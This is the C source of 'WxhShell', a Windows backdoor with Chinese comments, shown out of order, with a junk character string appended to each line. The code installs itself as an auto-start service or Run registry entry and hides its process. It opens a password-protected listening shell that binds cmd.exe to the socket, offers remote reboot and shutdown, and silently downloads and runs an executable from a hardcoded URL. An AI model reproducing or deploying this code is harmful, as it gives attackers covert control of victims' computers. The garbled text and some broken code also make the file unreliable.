    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D3BNA]P\2@  
    else { f6d:5 X_  
    closesocket(wsh); n,+/%IZ  
    ExitThread(0); `*`@ro  
    } Np?%pB!Q  
    break; 6)B6c. 5o  
    } $%ts#56*  
  // 关机 I8RPW:B;B  
  case 'd': { %1Pn;bUU!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !L)~*!+Gf  
    if(Boot(SHUTDOWN)) as%ab[ fX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E"|LA[o  
    else { kUp[b~  
    closesocket(wsh); | ]DJz  
    ExitThread(0); ^3B&E^R  
    } <,S5(pZ  
    break; ~VqDh*0  
    } wx,yx3c (  
  // 获取shell t"]+}]O  
  case 's': { t|ih{0  
    CmdShell(wsh); _3lci  
    closesocket(wsh); ,%zU5hh  
    ExitThread(0); nn0`A3  
    break; :"pA0oB  
  } ,iQRf@#W_b  
  // 退出 uN)o|7  
  case 'x': { 6zGM[2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  3~mi  
    CloseIt(wsh); 9Un3La8PX  
    break; 86BY032H  
    } 2zz7/]?Q   
  // 离开 e[(XR_EY  
  case 'q': { {M.OOEcIp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rrSsQq  
    closesocket(wsh); N5SePA\ ,?  
    WSACleanup(); *C*'J7  
    exit(1); jM'kY|<g;  
    break; c9c_7g'q-  
        } >)&]Ss5J  
  } S-$N!G~!  
  } :E>" z6H  
HL^+:`,  
  // 提示信息 v9<'nU WVR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0E5"}8  
} :=iP_*#  
  } %rmn+L),;  
\.`;p  
  return; Pr%Y!|  
} m@z.H;  
YA:7^-Bv  
// shell模块句柄 c8^M::NI  
int CmdShell(SOCKET sock) $@[`v0y*  
{ c89+}]mGq  
STARTUPINFO si; ds*N1[ *  
ZeroMemory(&si,sizeof(si)); xDU{I0M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4NY}=e5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >+ P5Zm(_  
PROCESS_INFORMATION ProcessInfo; jOYa}jm?  
char cmdline[]="cmd"; X &z|im'd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @]rl2Qqe  
  return 0; nF Mc'm  
} d=q&% gqN  
M_+"RKp  
// 自身启动模式 w Bi'KS  
int StartFromService(void) r? w^#V  
{ N '8u}WO  
typedef struct Y M <8>d  
{ vH^6O:V  
  DWORD ExitStatus; 'K L" i  
  DWORD PebBaseAddress; O)$rC  
  DWORD AffinityMask; N}j]S{j}'  
  DWORD BasePriority; -8r';zR  
  ULONG UniqueProcessId; 8$+mST'4N  
  ULONG InheritedFromUniqueProcessId; ~^{jfHTlv  
}   PROCESS_BASIC_INFORMATION; 5-3.7CO$  
gyz#:z$p^  
PROCNTQSIP NtQueryInformationProcess; ~`uEZ  
R-~ZvVw7L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (SEE(G35  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bK\Mn95]  
|[RoR  
  HANDLE             hProcess; TQ{rg2_T  
  PROCESS_BASIC_INFORMATION pbi; Vw^2TRU  
T ke3X\|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CWTPf1?eB  
  if(NULL == hInst ) return 0; x'4q`xDa  
3?do|>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [dQL6k";b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kgq"b)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y .O%  
m>H+noc^  
  if (!NtQueryInformationProcess) return 0;  ?)_?YLi  
*[P"2b#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g[NmVY-o  
  if(!hProcess) return 0; 8zMt&5jD  
]f3[I3;K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W7F1o[  
i1(}E#  
  CloseHandle(hProcess); mM[!g'*  
BrHw02G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,m`>  
if(hProcess==NULL) return 0; r~q(m>Ct6  
#K:!s<_"  
HMODULE hMod; WS!:w'rzr  
char procName[255]; fI_I0dc.p  
unsigned long cbNeeded; z f rEM  
%M=Ob k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P?#I9y7iP  
_|'e Az   
  CloseHandle(hProcess); hyHeyDO2  
z!M8lpI M  
if(strstr(procName,"services")) return 1; // 以服务启动 QgR3kc^7/  
)g()b"Z #>  
  return 0; // 注册表启动 SH009@l_8  
} F&Bh\C)]  
r+0<A.''a  
// 主模块 Z}8khNCYr  
int StartWxhshell(LPSTR lpCmdLine) y:m ;_U,%c  
{ z(8:7 G  
  SOCKET wsl; gXNlnh%?S  
BOOL val=TRUE; \W,,@ -  
  int port=0; bPlqS+ai_  
  struct sockaddr_in door; !nBE[&  
i-<1M|f  
  if(wscfg.ws_autoins) Install(); oc^j<!Rh  
'P:u/Sq?m  
port=atoi(lpCmdLine); pZ@)9c  
|g$n-t  
if(port<=0) port=wscfg.ws_port; yDE0qUO  
|#>:@{X<  
  WSADATA data; @L9C_a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,ce sQ ou  
<-]qU}-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NMM$ m!zg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K&\ q6bU  
  door.sin_family = AF_INET;  W0&x0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )F$<-0pT  
  door.sin_port = htons(port); I1a>w=x!+  
XK";-7TZt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =o!1}'1}}  
closesocket(wsl); Q[wTV3d  
return 1; wm'a)B?  
} m\0Xh*  
5}+&Em":  
  if(listen(wsl,2) == INVALID_SOCKET) { ,Vc>'4E-  
closesocket(wsl); o#^(mGj_.  
return 1; Bh#?:h&f  
} *\n-yx]  
  Wxhshell(wsl); h:4Uv}Z  
  WSACleanup(); Bp7`W:?# "  
YV{^2)^  
return 0; WLy%| {/  
+=V[7^K;  
} vGX}zzto  
]SO-NR  
// 以NT服务方式启动 MyJ\/`8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z]QpH<Z  
{ '&;s32']}  
DWORD   status = 0; oy _DYop  
  DWORD   specificError = 0xfffffff; xnR;#Yc  
y37c&XYq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |*T`3@R;3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \U?$ r[P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O 7Z?y*  
  serviceStatus.dwWin32ExitCode     = 0; P4VMGP  
  serviceStatus.dwServiceSpecificExitCode = 0; )Z"  
  serviceStatus.dwCheckPoint       = 0; zUIh^hbFf  
  serviceStatus.dwWaitHint       = 0; [Zpx :r}  
5Y3L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l!d |luqbA  
  if (hServiceStatusHandle==0) return; &>xd6-  
(v)/h>vS  
status = GetLastError(); DD?zbN0X  
  if (status!=NO_ERROR) -r'/PbV0  
{ m-v0=+~&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v|7=IJ  
    serviceStatus.dwCheckPoint       = 0; Xa xM$  
    serviceStatus.dwWaitHint       = 0; 4pJ #fkc^  
    serviceStatus.dwWin32ExitCode     = status; 4%GwCEnS  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2LTMt?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `q$a p$?  
    return; +W7#G `>  
  } <b,oF]+;z  
SJJ[y"GvD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "C/X#y   
  serviceStatus.dwCheckPoint       = 0; 7:S4 Ur  
  serviceStatus.dwWaitHint       = 0; hHsN(v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Po1/_# mu  
} 0XWhSrHM  
6 6%_p]U  
// 处理NT服务事件,比如:启动、停止 m+a\NXWR?N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =>LQW;Sjz  
{ 6SqS\ 8  
switch(fdwControl) j(>~:9I`  
{ _no;B_m~  
case SERVICE_CONTROL_STOP: !!\x]$v  
  serviceStatus.dwWin32ExitCode = 0; 8{f~tPY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _-R&A@  
  serviceStatus.dwCheckPoint   = 0; y[64O x  
  serviceStatus.dwWaitHint     = 0; KB$S B25m  
  { 6]^~yby P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pe,:FIp,  
  } O!U8"Yr$  
  return; `:Bm@eN  
case SERVICE_CONTROL_PAUSE: {2v,J]v_[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SmUj8?6"  
  break; +I>V9%%vW_  
case SERVICE_CONTROL_CONTINUE: }HKt{k&$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mjj5~by:  
  break; 1Uaj}= @M  
case SERVICE_CONTROL_INTERROGATE: 5@-[[ $dk  
  break; sq45fRAi  
}; !K%8tr4   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [a[.tR38e  
} b$JrLZs$_  
,vh $G 7D  
// 标准应用程序主函数 N87)rhXSo,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _wp_y-"  
{ \5pBK  
TZ+- >CG  
// 获取操作系统版本 z4iTf8  
OsIsNt=GetOsVer(); uz /Wbc>y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .dO8I/lhV  
r?$ V;Z  
  // 从命令行安装 Ef]<0Tm]:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6.'j \  
dZ,IXA yB  
  // 下载执行文件 wsEOcaie  
if(wscfg.ws_downexe) { Tv6HPD$[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oWb\T 2!m  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2/>u8j  
} F.cKg~E|e  
V=de3k&p  
if(!OsIsNt) { 0Lx,qZ'  
// 如果时win9x,隐藏进程并且设置为注册表启动 eD,'M  
HideProc(); o6/"IIso3  
StartWxhshell(lpCmdLine); <5]ufv  
} gjL+8Rk  
else L6 IIk  
  if(StartFromService()) =fcM2O#$  
  // 以服务方式启动 v vzPt.ag  
  StartServiceCtrlDispatcher(DispatchTable); Xx+eGV";`  
else '',g}WvRwe  
  // 普通方式启动 Ial"nV0>0  
  StartWxhshell(lpCmdLine); wM1&_%N  
\&MJ(F>vJ  
return 0;  &Sdf0"  
} 3]li3B'  
)qua0'y]@  
cw/E?0MWb  
+'0V6 \y  
=========================================== O)8$aAJ)V  
vI20G89E  
v];P| Fi  
j@s*hZ^J+  
9U4 D$M  
g%_ 3  
" >K!$@]2F  
0t(2^*I?>  
#include <stdio.h> I|<`Er-;58  
#include <string.h> Nil nS!BM  
#include <windows.h> \gFV6 H?`  
#include <winsock2.h> Y&j'2!g  
#include <winsvc.h> }1EtM/Ni{!  
#include <urlmon.h> HJ_8 `( '  
 "SA*  
#pragma comment (lib, "Ws2_32.lib") pCC3r t(  
#pragma comment (lib, "urlmon.lib") ]NyN@9u@(  
Ke^9R-jP  
#define MAX_USER   100 // 最大客户端连接数 #+Y%Bxf  
#define BUF_SOCK   200 // sock buffer Jbn^G7vH<6  
#define KEY_BUFF   255 // 输入 buffer &Lbh?C  
#H]c/  
#define REBOOT     0   // 重启 8/<+p? 3p>  
#define SHUTDOWN   1   // 关机 `Jj q5:\&  
RqKkB8g  
#define DEF_PORT   5000 // 监听端口 i<{:J -U|  
DEW;0ic  
#define REG_LEN     16   // 注册表键长度 Q%:Z&lg y  
#define SVC_LEN     80   // NT服务名长度 INEE 37%  
fXSuJ<G  
// 从dll定义API u&Yd+');  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "$.B@[iY@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [0!*<%BgK'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ! NJGW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TDX~?> P  
+45.fo  
// wxhshell配置信息 '?Xf(6o1  
struct WSCFG { ^fj30gw7\5  
  int ws_port;         // 监听端口 ct@3]  
  char ws_passstr[REG_LEN]; // 口令 XzBlT( `w  
  int ws_autoins;       // 安装标记, 1=yes 0=no #sE: xIR  
  char ws_regname[REG_LEN]; // 注册表键名 #y f  
  char ws_svcname[REG_LEN]; // 服务名 84 <zTmm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aA]wFZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :W#?U yo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D `av9I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {s0!hp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a1shP};pK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OkMAqS  
Gi\Z"MiBZ  
}; `S A1V),~  
P2F8[o!<  
// default Wxhshell configuration _:>t$* _  
struct WSCFG wscfg={DEF_PORT, n-{.7  
    "xuhuanlingzhe", L]q%;u]8!  
    1, P8[k1"c!  
    "Wxhshell", \A6 }=  
    "Wxhshell", _ BoA&Ism  
            "WxhShell Service", ]:}7-;$V  
    "Wrsky Windows CmdShell Service", p]qz+Z/  
    "Please Input Your Password: ", WidLUv   
  1, y!T8(  
  "http://www.wrsky.com/wxhshell.exe", ,n`S ,  
  "Wxhshell.exe" uR.`8s|  
    }; MeYu  
%I;uqf  
// 消息定义模块 ?:6w6GwAA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bkg./iP5x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N|%X/UjZ2.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  `7oYXk  
char *msg_ws_ext="\n\rExit."; /m4Y87  
char *msg_ws_end="\n\rQuit."; a1EQ.u  
char *msg_ws_boot="\n\rReboot..."; w~3z) ;  
char *msg_ws_poff="\n\rShutdown..."; "5v^6R9e  
char *msg_ws_down="\n\rSave to "; @O|`r(le  
:`c@&WF8  
char *msg_ws_err="\n\rErr!"; f?TS#jG4}  
char *msg_ws_ok="\n\rOK!"; })j N 8px  
@ V_i%=go  
char ExeFile[MAX_PATH]; |d,bo/:  
int nUser = 0; 8\G"I  
HANDLE handles[MAX_USER]; U,lO{J[T  
int OsIsNt; +1r><do;  
TAq[g|N-;  
SERVICE_STATUS       serviceStatus; B%5"B} nG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `~D{]'j  
2Z?l,M~  
// 函数声明 $&Z<4:Flc  
int Install(void); $wbIe"|  
int Uninstall(void); y,K> Wb9e  
int DownloadFile(char *sURL, SOCKET wsh); gYloY=.Z$'  
int Boot(int flag); >3}N;  
void HideProc(void); /]of @  
int GetOsVer(void); ^a$L9p(  
int Wxhshell(SOCKET wsl); Fzt7@VNxc  
void TalkWithClient(void *cs); $-.*8*9  
int CmdShell(SOCKET sock); TPLv]$n  
int StartFromService(void); O)"Z%B  
int StartWxhshell(LPSTR lpCmdLine); 39d$B'"<1  
6n;? :./  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4%4Yqx )  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4y!GFhMh  
rxj#  
// 数据结构和表定义 |pBvy1e4)  
SERVICE_TABLE_ENTRY DispatchTable[] = t^2$ent  
{ :(4q\~  
{wscfg.ws_svcname, NTServiceMain}, !r9rTS]  
{NULL, NULL} ?X Rl\V  
}; DQ&\k'"\  
Oc-ia)v1G  
// 自我安装 T-]UAN"O  
int Install(void) )P,pW?h$  
{ cM\BEh h  
  char svExeFile[MAX_PATH]; mex@~VK  
  HKEY key; +:W?:\  
  strcpy(svExeFile,ExeFile); t>x!CNb'C  
WO6+r?0M2  
// 如果是win9x系统,修改注册表设为自启动 b;nqhO[f}  
if(!OsIsNt) { o6:@j#b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wr~Qy4 ny  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Fv_~F491  
  RegCloseKey(key); deJ/3\t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:0dz:T7*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q\<NW%KtX  
  RegCloseKey(key); [ua[A;K  
  return 0; V{ ~~8b1E  
    } c7R&/JV  
  } z2Z}mktP  
} .EvP%A m  
else { B1]FB|0's  
c[$i )\0  
// 如果是NT以上系统,安装为系统服务 )|#ExyRO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O-box?  
if (schSCManager!=0) y'n<oSB}  
{ DiZ;FHnaG?  
  SC_HANDLE schService = CreateService bR$5G  
  ( J% ZM V  
  schSCManager, F5OQM?J  
  wscfg.ws_svcname, 0_,un^  
  wscfg.ws_svcdisp, d[*NDMO  
  SERVICE_ALL_ACCESS, :&LV^ A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "ZA`Lp;%w  
  SERVICE_AUTO_START, ?j)#\s2  
  SERVICE_ERROR_NORMAL, ?A~=.u@[d  
  svExeFile, kWs:7jiiu  
  NULL, R]RLy#j  
  NULL, l@]Fzl  
  NULL, d*=qqe H  
  NULL, #WGyQ u  
  NULL \Ym!5,^o  
  ); AP8J28I  
  if (schService!=0) B9 ,  
  { 7[i&EPN  
  CloseServiceHandle(schService); kBY#= e).  
  CloseServiceHandle(schSCManager); |tz{Es<`B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _X@ Q`d  
  strcat(svExeFile,wscfg.ws_svcname); 88 ca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L(X}37  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lQ"t#b+  
  RegCloseKey(key); 9;rZ)QD  
  return 0; Q5u3~Q'e  
    } O2fFh_\  
  } Zu>CR_C  
  CloseServiceHandle(schSCManager); v[ R_6  
} 5HTY ~&C  
} F=f9##Y?7M  
B B^81{A  
return 1; SRU#Y8Xv|  
} 1v<uA9A%[  
W .Al\!Gi  
// 自我卸载 J7~Kjl  
int Uninstall(void) =$ubSfx  
{ NxB/U_j  
  HKEY key; Mko,((>I1  
}uO2 x@  
if(!OsIsNt) { 4{b/Nv:b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AJ6O>Euq  
  RegDeleteValue(key,wscfg.ws_regname); l1%*LyD  
  RegCloseKey(key); ZmI#-[/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QkLcs6)R  
  RegDeleteValue(key,wscfg.ws_regname); T b*Q4:r"  
  RegCloseKey(key); $-6[9d-N  
  return 0; IVeA[qA0  
  } = N:5#A  
} .TNJuuO  
} Zc*#LsQh.`  
else { pBn;:  
P(3$XMx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :K(+ KN(  
if (schSCManager!=0) RER93:(  
{ %WYveY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z'm( M[2K  
  if (schService!=0) |>-0q~  
  { zOJzQZ~  
  if(DeleteService(schService)!=0) { W#wC  
  CloseServiceHandle(schService); ZB5NTNf>  
  CloseServiceHandle(schSCManager); u!b0 <E  
  return 0; 3ZvQUH/{W  
  } v{8r46Y~Z)  
  CloseServiceHandle(schService); /)rv Ndn  
  } a`Q-5* \;z  
  CloseServiceHandle(schSCManager); SL_JA  
} Ppx4#j  
} j tqU`|FSQ  
pwF])uf*{\  
return 1; Hq,N OP  
} nQn=zbZ3  
gV'=u z v  
// 从指定url下载文件 7'@~TM  
int DownloadFile(char *sURL, SOCKET wsh) wB<cW>6  
{ tcI Z 2H%  
  HRESULT hr; t~Ic{%bdA  
char seps[]= "/"; ZKi?;ta=  
char *token; I#W J";kqB  
char *file; VY0-18 o  
char myURL[MAX_PATH]; -or)NE  
char myFILE[MAX_PATH]; T'N/A9{q  
gpCWXz')i  
strcpy(myURL,sURL); &@qB6!^  
  token=strtok(myURL,seps); ;3Q3!+%j  
  while(token!=NULL) P+0 -h  
  { p#gf^Y5  
    file=token; Tcq@Q$H  
  token=strtok(NULL,seps); SWNT}{x]  
  } _G%kEt_4  
ZZ>(o d!B  
GetCurrentDirectory(MAX_PATH,myFILE); u#3Cst8Y  
strcat(myFILE, "\\"); vQ{mEaH  
strcat(myFILE, file); $@[Mo   
  send(wsh,myFILE,strlen(myFILE),0); R5<:3tk=X  
send(wsh,"...",3,0); |lVi* 4za%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vnX~OVz2  
  if(hr==S_OK) 8=mx5Gwz-  
return 0; yQC8Gt8  
else jW}hLjlN  
return 1; CR-2>,*a9  
F5\{`  
} XZ/cREz^s  
^5-SL?E  
// 系统电源模块 /)r[}C0   
int Boot(int flag) Pa ^_ s  
{ ZrWA,~;  
  HANDLE hToken; i"{znKz vD  
  TOKEN_PRIVILEGES tkp; ''.\DC~K  
rP}0B/  
  if(OsIsNt) { +@\=v}: F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IY|>'}UU#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3[%n@i4H|  
    tkp.PrivilegeCount = 1; .?r} 3Ch  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N$cAX^~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q)tNH/  
if(flag==REBOOT) { |1/?>=dDm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :A,7D(H|  
  return 0; I&5cUj{GX-  
} SFRYX,0m  
else { kX:8sbZ##4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,go$ 6  
  return 0; VQpwHzh  
} Vv>hr+e  
  } zBqNE`  
  else { t>"|~T$9  
if(flag==REBOOT) { 8ya|eJ]/L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NHzVA*f  
  return 0; 1xsB@D  
} T?D]]x  
else { p$6L_ *$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &"X1w $  
  return 0; ES[]A&tf  
} S2$r 6T  
} (KT+7j0^  
=5g|7grQ:`  
return 1; tU>4?`)E  
} {z8wFL\  
]?hlpL  
// win9x进程隐藏模块 !]P=v`B.  
void HideProc(void) ='HLA-uT  
{ *YTv"  
Qy) -gax:,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :tLMh08h  
  if ( hKernel != NULL ) 7:OF>**  
  { }9L;|ul6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jft@ 'W53  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h ?+vH{}j  
    FreeLibrary(hKernel); BNbz{tbX"  
  } 2O0</^Z%E  
HH^yruP\}  
return; r5uX?^mJ0  
} .Kk'N  
DcZ,a E]  
// 获取操作系统版本 LLwC*)#  
int GetOsVer(void) 3 n1 > +8  
{ }/F9(m  
  OSVERSIONINFO winfo; ]#J-itO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }yM!o`90  
  GetVersionEx(&winfo); nkz^^q`5l7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %eE 6\f%g  
  return 1; t` zPx#])  
  else `w% Qs)2  
  return 0; FdMTc(>  
} WD#7Q&T(;  
ks<+gL{K|i  
// 客户端句柄模块 ?/Z5%?6  
int Wxhshell(SOCKET wsl) (APGz,^9#  
{  6Xt c3  
  SOCKET wsh; $`Aps7A  
  struct sockaddr_in client; q]m$%>  
  DWORD myID; Iyt.`z  
!Bb^M3iA  
  while(nUser<MAX_USER) lf2(h4[1R  
{ h=ko_/<  
  int nSize=sizeof(client); ^1[u'DW4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rh6m  
  if(wsh==INVALID_SOCKET) return 1; [u/Wh+  
fMRMQR=6B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UjS,<>fm  
if(handles[nUser]==0) /@K1"/fqH  
  closesocket(wsh); o,=dm@j  
else &y:SK)  
  nUser++; 6>/g`%`N  
  } e}W|wJ):j@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MrpT5|t  
'E#Bz"T  
  return 0;  x5W. 3*  
} !a9/8U_>XF  
>66v+  
// 关闭 socket @Yh%.#\i%  
void CloseIt(SOCKET wsh) IVSd,AR7yY  
{ YW^sf,zQ  
closesocket(wsh); |(rTz!!-  
nUser--; EY[J;H_b  
ExitThread(0); q!}O+(kt  
} Ea?u5$>gY"  
~Z x_"  
// 客户端请求句柄 P:v|JER   
void TalkWithClient(void *cs) zgA/B{DaC;  
{ of?'FrU  
X?q,m4+  
  SOCKET wsh=(SOCKET)cs; O4Hc"v  
  char pwd[SVC_LEN]; NEX{vZkgw  
  char cmd[KEY_BUFF]; #Ue_  
char chr[1]; qX!P:M  
int i,j; .06[*S  
w:o,mzuXK  
  while (nUser < MAX_USER) { vrvOPLiQ  
_0qp!-l}  
if(wscfg.ws_passstr) { DsF<P@O6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ffS]%qa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R3@$ao  
  //ZeroMemory(pwd,KEY_BUFF); !;;WS~no3  
      i=0; 0^&-j.9  
  while(i<SVC_LEN) { MbjMO"}  
i?CXDuL  
  // 设置超时 Ra^GbT|Z  
  fd_set FdRead; nn6&`$(Q~  
  struct timeval TimeOut; Cw&U*H  
  FD_ZERO(&FdRead); Tjza3M  
  FD_SET(wsh,&FdRead); 53X5&Bwh  
  TimeOut.tv_sec=8; ':_1z5  
  TimeOut.tv_usec=0; hha^:,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w&^_2<a2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0|@* `-:VO  
TClgywL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o<8=@ ^T  
  pwd=chr[0]; TSAVXng  
  if(chr[0]==0xd || chr[0]==0xa) { 1<d|@9?9`  
  pwd=0; 8!u8ZvbFG  
  break; mA>u6Rlc  
  } T_b$8GYfCY  
  i++; Dg2=;)"L  
    } khtYn.eaL  
\t\ZyPxn  
  // 如果是非法用户,关闭 socket V.Ki$0>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H8'_.2vwX  
} QAmb_:^"d  
~V<imF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Id;YIycXe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l|p \8=  
?:XbZ"25pJ  
while(1) { ZF6?N?t}h8  
HCTjFW>C  
  ZeroMemory(cmd,KEY_BUFF); o&b1-=MC2  
cq \()uF'c  
      // 自动支持客户端 telnet标准   p8a \> {  
  j=0; 1dahVc1W  
  while(j<KEY_BUFF) { 2[R{IV8e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i?1g{JW  
  cmd[j]=chr[0]; }qOj^pkJ  
  if(chr[0]==0xa || chr[0]==0xd) { rkz_h  
  cmd[j]=0; \<K@t=/ 6  
  break; UN6Du\)]d  
  } ]Uee!-dZ  
  j++; r^|AiYI)  
    } pv #uLo  
}tRY,f  
  // 下载文件 S.X*)CBB  
